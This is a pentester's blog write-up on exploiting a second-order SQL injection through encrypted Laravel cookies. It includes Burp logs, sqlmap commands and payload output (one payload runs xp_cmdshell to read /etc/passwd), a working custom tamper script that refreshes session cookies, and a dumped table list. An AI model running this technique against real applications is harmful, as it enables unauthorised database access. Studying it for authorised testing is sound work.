Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper

Web applications evolved in the last century from simple scripts to single page applications. Such complex web applications are prone to different types of security vulnerabilities. One type of vulnerability, named as secondorder, occurs when an attack payload is first stored by the application on the web server and then later on used in a security-critical operation.

As you can imagine, second order vulnerabilities can occur anywhere.  Not only within same application, but in completely different web applications that may have been using the same data sources. Therefore, it’s quite complicated and “almost” impossible to detect them by using automated scanners.

In this blog post, I will show you one of the interesting SQLi flaws from our latest pentest project.

Our Approach to Manual Pentest

The success of an application pentest is related to understanding your target. I usually spend one or two days with my target like a regular user, so I can understand whole workflow. So I can understand whole workflow. While clicking every single thing and submitting forms, I try to stick with following naming convention for form fields.

  • Give a number for main modules (such as invoice, news, charges etc. Things that you usually see on navigation bar)
  • Let’s say you are browsing a “Ticket” module and you have form that requires a name and email.

I developed this approach myself over time. This helps me to track down the source of the data. If I see johnticket1 somewhere else during pentest -single app pentest usually takes 5-6 days – I understand where should I go back and start to thing about attack vectors for second order vulnerabilities.

Initial Phase: Detection

While browsing my target, I saw following request and response on my Burp Suite log.


    1. GET /wishlist/add/9 HTTP/1.1


    1. Host: targetwebapp


    1. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36


    1. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8


    1. Accept-Language: en-US,en;q=0.5


    1. Referer: http://targetwebapp/




    1. X-Forwarded-For:


    1. True-Client-Ip:


    1. Connection: close


    1. Upgrade-Insecure-Requests: 1



    1. —-



    1. HTTP/1.1 302 Found


    1. Date: Tue, 01 Aug 2017 07:31:12 GMT


    1. Server: Apache/2.4.18 (Ubuntu)


    1. Cache-Control: no-cache, private


    1. Location: http://targetwebapp/


    1. Set-Cookie: XSRF-TOKEN=eyJpdiI6IjlVXC9XSWtobkdHT0tlZDNhKzZtUW5nPT0iLCJ2YWx1ZSI6Ijg3enBCSHorT1pcLzBKVVVsWDJ4akdEV1lwT2N0bUpzdDNwbmphM3VmQndheDRJZDQ3SWJLYzJ6blFQNHppYytPQzVZNGcxWVdQVlVpWm1MVDFNRklXQT09IiwibWFjIjoiZWRmYjAwYjgzYWQ1NWQyMWM1ZWQ2NjRjMThlZmI3NjQ4ODVkNWE0YWEyZTBhYzRkMjRkOWQ2MmQ4OTA0NDg3YyJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/


    1. Set-Cookie: session=eyJpdiI6IkpMdzdJSEE3NndnUXI2NXh0enJYNXc9PSIsInZhbHVlIjoiMkNhek8wXC9FUHQ1bzhjbnMrbHpJWXBjTGhhQTFCM3kyQjI4bTFHRHZkKzZNK2NvSGtwQUZJcWxTeEFHREdEOFBiWVwvVFNyZTNEVlNyRTFlRGMrRlZKZz09IiwibWFjIjoiYTA2ZjlmZTVkYWM3MTc4ODE5Y2VmNmFkNTMzYjYyOTNmZjUxOGRkYjhkYzJmYThhYWM4OTNkNzg4MTliZjVkMSJ9; expires=Tue, 01-Aug-2017 09:31:12 GMT; Max-Age=7200; path=/; HttpOnly


    1. Content-Length: 324


    1. Connection: close


    1. Content-Type: text/html; charset=UTF-8



    1. <!DOCTYPE html>


    1. <html>


    1. <head>


    1. <meta charset=“UTF-8” />


    1. <meta http-equiv=“refresh” content=“1;url=http://targetwebapp/” />



    1. <title>Redirecting to http://targetwebapp/</title>


    1. </head>


    1. <body>


    1. Redirecting to <a href=“http://targetwebapp/”>http://targetwebapp/</a>.


    1. </body>


    1. </html>



I was adding one product to the wishlist. If this execution completed successfully, application is redirecting me back to home page. But if I browse an another module ( /wishlist/ ) I was able to see that product with detailed information.

This caught my attention. Why am I seeing a new Set-Cookie parameter on HTTP response ? In to precisely answer my question, I try to add several different product ids to wishlist. As a result, I’ve got new Set-Cookie directive for each individual request.

  • I wasn’t logged in, yet the application is capable of tracking down which product I’ve added.
  • I’m getting Set-Cookie directive whenever I repeat above request with different id.

So the answer was obvious, encrypted client side session..! The Application is storing those id values of the product on my cookie and performs encryption before sending it back to me. I believe my target is a laravel application because XSRF-TOKEN cookie name and cookie encryption are by default for Laravel framework.

It’s important to understand that whatever I submit through /wishlist/add/<id> endpoint, it will be stored in my encrypted cookie. If I browse /whishlist/ path then following steps will be followed by application.

  • Take cookie.
  • Decrypt the cookie.
  • Get wishlist array from cookie data.
  • Use this array inside of the query.
  • Show details of desired products.

Protip: If you believe that multiple values are used in one sql query. It’s probably used  like WHERE id IN (<values>) . Think like a developer!

Second Phase : Automated Tools Problems

To be honest, neither Burp nor Netsparker could detect this SQL Injection. . In order to make it more clear for you, here is the generic  workflow of automated tools.

  • Login to the app or use supplied cookies.
  • Send /wishlist/add/9” and 1=1 or /wishlist/add/9‘or 1=1 or /wishlist/add/9‘ OR SLEEP(25)=0 LIMIT 1
    • Those payloads are just example. Automated scanners uses more than this payloads.
  • Calculate time gap between request and response.
    • HTTP response body analysis, etc
  • Wait for out-of-band request.

According to the above flow, the scanner will not see any difference in the HTTP response body. Also there will be NO big time gap between request and response. App just takes input and stores it at somewhere else -encrypted cookie in this case-.

When scanner go through evey single URL, eventually it will start to browse /whislist/ where SQL query executed. But tool already messed up sql sytnax because of multiple sql payload. Thus, it will see only HTTP 500 error and that’s all.

Third Phase: Make SQLMAP “great” Again

Below are the first five HTTP requests generated by SQLMap. The first two are correlated and will remain the same at all times

  1. ~ python sqlmap.py -r /tmp/r.txt –dbms MySQL –second-order “http://targetapp/wishlist” -v 3
  2. [11:48:57] [PAYLOAD] KeJH=9030 AND 1=1 UNION ALL SELECT 1,NULL,‘<script>alert(“XSS”)</script>’,table_name FROM information_schema.tables WHERE 2>1/**/; EXEC xp_cmdshell(‘cat ../../../etc/passwd’)#
  3. [11:48:57] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  4. [11:48:57] [INFO] testing if the target URL is stable
  5. [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  6. [11:48:58] [WARNING] URI parameter ‘#1*’ does not appear to be dynamic
  7. [11:48:58] [PAYLOAD] 9(..,)),(‘”
  8. [11:48:58] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  9. [11:48:58] [WARNING] heuristic (basic) test shows that URI parameter ‘#1*’ might not be injectable
  10. [11:48:58] [PAYLOAD] 9‘AGZHkY<‘“>Bubyju
  11. [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  12. [11:48:59] [INFO] testing for SQL injection on URI parameter ‘#1*’
  13. [11:48:59] [INFO] testing ‘AND boolean-based blind – WHERE or HAVING clause’
  14. [11:48:59] [PAYLOAD] 9) AND 3632=7420 AND (3305=3305
  15. [11:48:59] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  16. [11:48:59] [PAYLOAD] 9) AND 3274=3274 AND (6355=6355
  17. [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  18. [11:49:00] [PAYLOAD] 9 AND 5896=8011
  19. [11:49:00] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  20. [11:49:00] [PAYLOAD] 9 AND 3274=3274
  21. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  22. [11:49:01] [PAYLOAD] 9‘) AND 9747=4557 AND (‘xqFU‘=’xqFU
  23. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  24. [11:49:01] [PAYLOAD] 9‘) AND 3274=3274 AND (‘JoAB‘=’JoAB
  25. [11:49:01] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  26. [11:49:01] [PAYLOAD] 9‘ AND 6443=5019 AND ‘zuGP‘=’zuGP
  27. [11:49:02] [DEBUG] got HTTP error code: 500 (Internal Server Error)
  28. [11:49:02] [PAYLOAD] 9‘ AND 3274=3274 AND ‘iWaC‘=’iWaC

If you look closer to the first 2 payloads, you will see that sqlmap tries to detect WAF, and then encoding forced by the application. After that it tries to find out syntax form of the sql query by sending multiple payloads one by one. The problem is, all of those payloads will be stored on cookie and that means whenever sqlmap reachs to <span class=“m_3515056067618164646enlighterEnlighterJS m_3515056067618164646gmail-EnlighterJS”><span class=“m_3515056067618164646gmail-“>–second-order</span></span> path, it will see HTTP 500 error. Also the first request already messed up with sql syntax. That means sqlmap will see error for the rest of the attack.

So we need to provide a fresh session for every single HTTP request generated by sqlmap. I’ve done that by implementing custom tamper script.

Following HTTP request and response is our way to force application to initiate a new session.

  1. GET / HTTP/1.1
  2. Host: targetwebapp
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. X-Forwarded-For:
  7. True-Client-Ip:
  8. Connection: close
  9. Upgrade-Insecure-Requests: 1
  10. HTTP/1.1 200 OK
  11. Date: Tue, 01 Aug 2017 06:31:36 GMT
  12. Server: Apache/2.4.18 (Ubuntu)
  13. Cache-Control: no-cache, private
  14. Set-Cookie: XSRF-TOKEN=eyJpdiI6IkIyb0o5TjJ1TTMzcVBseE9mOGFYK1E9PSIsInZhbHVlIjoiemR2V2d1b2xvZ1JcL3I5M0VsV2sxUGR0N2tRYkFPK2FwQ2lZc0xFV25iUkhrWVFjK3VscUJSRFNiekdnQ3VJZVVCa0RJQ0czbVNxMVdSSyt4cXkxbWtnPT0iLCJtYWMiOiIyYmE1YTQyZTAzMDYzNTQ3ZDk0OTkxN2FjMDg5YmMzNzVkOGUxODVmZTVhY2M0MGE4YzU1Yzk4MDE2ODlmMzUwIn0%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/
  15. Set-Cookie: session=eyJpdiI6InZqcVk1UWtFOStOMXJ6MFJ4b2JRaFE9PSIsInZhbHVlIjoidGJ0VFJ2VXpqY1hnQ2xXYkxNb2k5QWltRDFTRlk2RmJkQ0RIcWdMYVg2NDZlR0RnTXRSWXVWM3JTOWVxajl5R08wb0RydlhKWkZSMGYrNnF3RjBrSEE9PSIsIm1hYyI6IjYwZWRmZGQ1ODEzODJkZDFmNDIzNmE3ZWYzMDc1MTU5MTI3ZWU4MzVhMjdjN2Q0YjE0YmVkZWYzZGJkMjViNDEifQ%3D%3D; expires=Tue, 01-Aug-2017 08:31:36 GMT; Max-Age=7200; path=/; HttpOnly
  16. Vary: Accept-Encoding
  17. Connection: close
  18. Content-Type: text/html; charset=UTF-8
  19. Content-Length: 22296

Can do following steps.

  1. Send request to the home page without suppling any cookie.
  2. Parse Set-Cookie and get XSRF-TOKEN  and SESSION .
  3. Update HTTP request generated by sqlmap.
  4. So every single detection attempt of sqlmap gonna have fresh session. When sqlmap try to reach /wishlist/ after sending payload, response from /wishlist/ will be related to the only previous payload.

I strongly suggest you yo use https://github.com/h3xstream/http-script-generator . It’s implemented by Philippe Arteau. I’ve met with him at Black Hat Europe 2015 arsenal stand 👏. This extension generates scripts to reissue a selected request.


Here is my sqlmap tamper module. It send HTTP request to the homepage and retrieves new cookie values. As a final step, it updates Cookie value of HTTP request generated by sqlmap.

  1. #!/usr/bin/env python
  2. “”
  3. Copyright (c) 20062017 sqlmap developers (http://sqlmap.org/)
  4. See the file ‘doc/COPYING’ for copying permission
  5. “”
  6. import requests
  7. from lib.core.enums import PRIORITY
  8. from random import sample
  9. __priority__ = PRIORITY.NORMAL
  10. def dependencies():
  11. pass
  12. def new_cookie():
  13. session = requests.Session()
  14. headers = {“User-Agent”:“Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36”,“Connection”:“close”,“Accept-Language”:“en-US,en;q=0.5”,“Accept”:“text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,“Upgrade-Insecure-Requests”:“1”}
  15. response = session.get(“http://targetwebapp/”, headers=headers)
  16. XSRF_TOKEN = response.headers[‘Set-Cookie’].split(‘;’)[0]
  17. SESSION = response.headers[‘Set-Cookie’].split(‘;’)[3].split(‘,’)[1].replace(” “, “”)
  18. return “Cookie: {0}; {1}”.format(XSRF_TOKEN, SESSION)
  19. def tamper(payload, **kwargs):
  20. headers = kwargs.get(“headers”, {})
  21. headers[“Cookie”] = new_cookie()
  22. return payload


  1. sqlmap git:(master) ✗ python sqlmap.py -r /tmp/r.txt –dbms MySQL –second-order “http://targetapp/wishlist” –tamper /tmp/durian.py
  2. Database: XXX
  3. [12 tables]
  4. +——————————————————+
  5. | categories |
  6. | comments |
  7. | coupon_user |
  8. | coupons |
  9. | migrations |
  10. | order_product |
  11. | orders |
  12. | password_resets |
  13. | products |
  14. | subscribers |
  15. | user_addresses |
  16. | users |
  17. +——————————————————+


  • Use automated scanners but don’t trust the result.
  • Hire ninjas who have really good experience at manual application pentesting.
  • If you are a pentester, tools are something to help you. But in the end, you are the one who is getting job done.
  • Approach matters.


Leave a Comment

Your email address will not be published. Required fields are marked *